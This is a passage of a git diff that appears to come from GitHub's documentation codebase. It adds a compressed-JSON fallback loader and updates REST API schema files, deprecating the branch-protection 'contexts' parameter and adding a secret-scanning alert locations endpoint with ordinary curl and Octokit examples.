DISK_CACHE_FILEPATH = path.join(__dirname, `.redirects-cache_${languageKey // This function runs at server warmup and precompiles possible redirect routes. // It outputs them in key-value pairs within a neat Javascript object: { oldPath: newPath } const precompileRedirects = diskMemoize(DISK_CACHE_FILEPATH, async (pageList) => { - const allRedirects = readJsonFile('./lib/redirects/static/developer.json') + const allRedirects = readCompressedJsonFileFallback('./lib/redirects/static/developer.json') // Replace hardcoded 'latest' with real value in the redirected path Object.entries(allRedirects).forEach(([oldPath, newPath]) => { diff --git a/lib/rest/index.js b/lib/rest/index.js index 27e40f5274..bcf61aa0b9 100644 --- a/lib/rest/index.js +++ b/lib/rest/index.js @@ -3,12 +3,18 @@ import path from 'path' import fs from 'fs' import { chain, get, groupBy } from 'lodash-es' import { allVersions, allVersionKeys } from '../all-versions.js' +import { readCompressedJsonFileFallback } from '../read-json-file.js' + const __dirname = path.dirname(fileURLToPath(import.meta.url)) const schemasPath = path.join(__dirname, 'static/decorated') + export const operations = {} fs.readdirSync(schemasPath).forEach((filename) => { - const key = filename.replace('.json', '') - const value = JSON.parse(fs.readFileSync(path.join(schemasPath, filename))) + // In staging deploys, the `.json` files might have been converted to + // to `.json.br`. The `readCompressedJsonFileFallback()` function + // can handle both but you need to call it with the `.json` filename. + const key = path.parse(filename).name + const value = readCompressedJsonFileFallback(path.join(schemasPath, filename)) operations[key] = value }) diff --git a/lib/rest/static/decorated/api.github.com.json b/lib/rest/static/decorated/api.github.com.json index 976556cbea..ae8871ef71 100644 --- a/lib/rest/static/decorated/api.github.com.json +++ b/lib/rest/static/decorated/api.github.com.json @@ -39828,14 +39828,15 @@ }, "contexts": { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, "checks": { @@ -39843,10 +39844,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -39855,11 +39859,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -39876,7 +39880,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -39885,11 +39889,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -39922,14 +39926,15 @@ }, { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, { @@ -39937,10 +39942,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -39949,11 +39957,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -39970,7 +39978,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -39979,11 +39987,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -39999,7 +40007,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -40008,11 +40016,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -40502,14 +40510,15 @@ }, "contexts": { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, "checks": { @@ -40517,10 +40526,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -40529,11 +40541,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -40550,7 +40562,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -40559,11 +40571,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -40596,14 +40608,15 @@ }, { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, { @@ -40611,10 +40624,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -40623,11 +40639,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -40644,7 +40660,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -40653,11 +40669,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -40673,7 +40689,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -40682,11 +40698,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -42263,7 +42279,7 @@ "operationId": "repos/update-status-check-protection", "externalDocs": { "description": "API method documentation", - "url": "https://docs.github.com/rest/reference/repos#update-status-check-potection" + "url": "https://docs.github.com/rest/reference/repos#update-status-check-protection" }, "requestBody": { "required": false, @@ -42283,15 +42299,77 @@ }, "contexts": { "type": "array of strings", - "description": "

The list of status checks to require in order to merge into this branch

", + "deprecated": true, + "description": "

Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] + }, + "checks": { + "type": "array of objects", + "description": "

The list of status checks to require in order to merge into this branch.

", + "items": { + "type": "object", + "required": [ + "context" + ], + "properties": { + "context": { + "type": "string", + "description": "

Required. The name of the required check

", + "name": "context", + "in": "body", + "rawType": "string", + "rawDescription": "The name of the required check", + "childParamsGroups": [] + }, + "app_id": { + "type": "integer", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", + "name": "app_id", + "in": "body", + "rawType": "integer", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", + "childParamsGroups": [] + } + } + }, + "name": "checks", + "in": "body", + "rawType": "array", + "rawDescription": "The list of status checks to require in order to merge into this branch.", + "childParamsGroups": [ + { + "parentName": "checks", + "parentType": "items", + "id": "checks-items", + "params": [ + { + "type": "string", + "description": "

Required. The name of the required check

", + "name": "context", + "in": "body", + "rawType": "string", + "rawDescription": "The name of the required check", + "childParamsGroups": [] + }, + { + "type": "integer", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", + "name": "app_id", + "in": "body", + "rawType": "integer", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", + "childParamsGroups": [] + } + ] + } + ] } } }, @@ -42318,29 +42396,6 @@ "contentType": "application/json", "notes": [], "descriptionHTML": "

Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see GitHub's products in the GitHub Help documentation.

\n

Updating required status checks requires admin or owner permissions to the repository and branch protection to be enabled.

", - "bodyParameters": [ - { - "type": "boolean", - "description": "

Require branches to be up to date before merging.

", - "name": "strict", - "in": "body", - "rawType": "boolean", - "rawDescription": "Require branches to be up to date before merging.", - "childParamsGroups": [] - }, - { - "type": "array of strings", - "description": "

The list of status checks to require in order to merge into this branch

", - "items": { - "type": "string" - }, - "name": "contexts", - "in": "body", - "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch", - "childParamsGroups": [] - } - ], "responses": [ { "httpStatusCode": "200", @@ -42358,6 +42413,91 @@ "httpStatusMessage": "Unprocessable Entity", "description": "Validation failed" } + ], + "bodyParameters": [ + { + "type": "boolean", + "description": "

Require branches to be up to date before merging.

", + "name": "strict", + "in": "body", + "rawType": "boolean", + "rawDescription": "Require branches to be up to date before merging.", + "childParamsGroups": [] + }, + { + "type": "array of strings", + "deprecated": true, + "description": "

Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "items": { + "type": "string" + }, + "name": "contexts", + "in": "body", + "rawType": "array", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", + "childParamsGroups": [] + }, + { + "type": "array of objects", + "description": "

The list of status checks to require in order to merge into this branch.

", + "items": { + "type": "object", + "required": [ + "context" + ], + "properties": { + "context": { + "type": "string", + "description": "

Required. The name of the required check

", + "name": "context", + "in": "body", + "rawType": "string", + "rawDescription": "The name of the required check", + "childParamsGroups": [] + }, + "app_id": { + "type": "integer", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", + "name": "app_id", + "in": "body", + "rawType": "integer", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", + "childParamsGroups": [] + } + } + }, + "name": "checks", + "in": "body", + "rawType": "array", + "rawDescription": "The list of status checks to require in order to merge into this branch.", + "childParamsGroups": [ + { + "parentName": "checks", + "parentType": "items", + "id": "checks-items", + "params": [ + { + "type": "string", + "description": "

Required. The name of the required check

", + "name": "context", + "in": "body", + "rawType": "string", + "rawDescription": "The name of the required check", + "childParamsGroups": [] + }, + { + "type": "integer", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", + "name": "app_id", + "in": "body", + "rawType": "integer", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", + "childParamsGroups": [] + } + ] + } + ] + } ] }, { @@ -77996,6 +78136,115 @@ } ] }, + { + "verb": "get", + "requestPath": "/repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}/locations", + "serverUrl": "https://api.github.com", + "parameters": [ + { + "name": "owner", + "in": "path", + "required": true, + "schema": { + "type": "string" + }, + "descriptionHTML": "" + }, + { + "name": "repo", + "in": "path", + "required": true, + "schema": { + "type": "string" + }, + "descriptionHTML": "" + }, + { + "name": "alert_number", + "in": "path", + "description": "The number that identifies an alert. You can find this at the end of the URL for a code scanning alert within GitHub, and in the `number` field in the response from the `GET /repos/{owner}/{repo}/code-scanning/alerts` operation.", + "required": true, + "schema": { + "type": "integer", + "description": "The security alert number.", + "readOnly": true + }, + "descriptionHTML": "

The number that identifies an alert. You can find this at the end of the URL for a code scanning alert within GitHub, and in the number field in the response from the GET /repos/{owner}/{repo}/code-scanning/alerts operation.

" + }, + { + "name": "page", + "description": "Page number of the results to fetch.", + "in": "query", + "schema": { + "type": "integer", + "default": 1 + }, + "descriptionHTML": "

Page number of the results to fetch.

" + }, + { + "name": "per_page", + "description": "Results per page (max 100)", + "in": "query", + "schema": { + "type": "integer", + "default": 30 + }, + "descriptionHTML": "

Results per page (max 100)

" + } + ], + "x-codeSamples": [ + { + "lang": "Shell", + "source": "curl \\\n -H \"Accept: application/vnd.github.v3+json\" \\\n https://api.github.com/repos/octocat/hello-world/secret-scanning/alerts/42/locations", + "html": "
curl \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/repos/octocat/hello-world/secret-scanning/alerts/42/locations
" + }, + { + "lang": "JavaScript", + "source": "await octokit.request('GET /repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}/locations', {\n owner: 'octocat',\n repo: 'hello-world',\n alert_number: 42\n})", + "html": "
await octokit.request('GET /repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}/locations', {\n  owner: 'octocat',\n  repo: 'hello-world',\n  alert_number: 42\n})\n
" + } + ], + "summary": "List locations for a secret scanning alert", + "description": "Lists all locations for a given secret scanning alert for a private repository. To use this endpoint, you must be an administrator for the repository or organization, and you must use an access token with the `repo` scope or `security_events` scope.\n\nGitHub Apps must have the `secret_scanning_alerts` read permission to use this endpoint.", + "tags": [ + "secret-scanning" + ], + "operationId": "secret-scanning/list-locations-for-alert", + "externalDocs": { + "description": "API method documentation", + "url": "https://docs.github.com/rest/reference/secret-scanning#list-locations-for-a-secret-scanning-alert" + }, + "x-github": { + "githubCloudOnly": false, + "enabledForGitHubApps": true, + "category": "secret-scanning", + "subcategory": null + }, + "slug": "list-locations-for-a-secret-scanning-alert", + "category": "secret-scanning", + "categoryLabel": "Secret scanning", + "notes": [], + "bodyParameters": [], + "descriptionHTML": "

Lists all locations for a given secret scanning alert for a private repository. To use this endpoint, you must be an administrator for the repository or organization, and you must use an access token with the repo scope or security_events scope.

\n

GitHub Apps must have the secret_scanning_alerts read permission to use this endpoint.

", + "responses": [ + { + "httpStatusCode": "200", + "httpStatusMessage": "OK", + "description": "Response", + "payload": "
[\n  {\n    \"type\": \"commit\",\n    \"details\": {\n      \"path\": \"/example/secrets.txt\",\n      \"start_line\": 1,\n      \"end_line\": 1,\n      \"start_column\": 1,\n      \"end_column\": 64,\n      \"blob_sha\": \"af5626b4a114abcb82d63db7c8082c3c4756e51b\",\n      \"blob_url\": \"https://api.github.com/repos/octocat/hello-world/git/blobs/af5626b4a114abcb82d63db7c8082c3c4756e51b\",\n      \"commit_sha\": \"f14d7debf9775f957cf4f1e8176da0786431f72b\",\n      \"commit_url\": \"https://api.github.com/repos/octocat/hello-world/git/commits/f14d7debf9775f957cf4f1e8176da0786431f72b\"\n    }\n  },\n  {\n    \"type\": \"commit\",\n    \"details\": {\n      \"path\": \"/example/secrets.txt\",\n      \"start_line\": 5,\n      \"end_line\": 5,\n      \"start_column\": 1,\n      \"end_column\": 64,\n      \"blob_sha\": \"9def38117ab2d8355b982429aa924e268b4b0065\",\n      \"blob_url\": \"https://api.github.com/repos/octocat/hello-world/git/blobs/9def38117ab2d8355b982429aa924e268b4b0065\",\n      \"commit_sha\": \"588483b99a46342501d99e3f10630cfc1219ea32\",\n      \"commit_url\": \"https://api.github.com/repos/octocat/hello-world/git/commits/588483b99a46342501d99e3f10630cfc1219ea32\"\n    }\n  },\n  {\n    \"type\": \"commit\",\n    \"details\": {\n      \"path\": \"/example/secrets.txt\",\n      \"start_line\": 12,\n      \"end_line\": 12,\n      \"start_column\": 1,\n      \"end_column\": 64,\n      \"blob_sha\": \"0b33e9c66e19f7fb15137a82ff1c04c10cba6caf\",\n      \"blob_url\": \"https://api.github.com/repos/octocat/hello-world/git/blobs/0b33e9c66e19f7fb15137a82ff1c04c10cba6caf\",\n      \"commit_sha\": \"9def38117ab2d8355b982429aa924e268b4b0065\",\n      \"commit_url\": \"https://api.github.com/repos/octocat/hello-world/git/commits/9def38117ab2d8355b982429aa924e268b4b0065\"\n    }\n  }\n]\n
" + }, + { + "httpStatusCode": "404", + "httpStatusMessage": "Not Found", + "description": "Repository is public, or secret scanning is disabled for the repository, or the resource is not found" + }, + { + "httpStatusCode": "503", + "httpStatusMessage": "Service Unavailable", + "description": "Service unavailable" + } + ] + }, { "verb": "get", "requestPath": "/repos/{owner}/{repo}/stargazers", diff --git a/lib/rest/static/decorated/ghes-3.0.json b/lib/rest/static/decorated/ghes-3.0.json index 402a9da62d..7b46f18a3c 100644 --- a/lib/rest/static/decorated/ghes-3.0.json +++ b/lib/rest/static/decorated/ghes-3.0.json @@ -36177,14 +36177,15 @@ }, "contexts": { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, "checks": { @@ -36192,10 +36193,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -36204,11 +36208,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -36225,7 +36229,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -36234,11 +36238,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -36271,14 +36275,15 @@ }, { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, { @@ -36286,10 +36291,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -36298,11 +36306,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -36319,7 +36327,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -36328,11 +36336,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -36348,7 +36356,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -36357,11 +36365,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

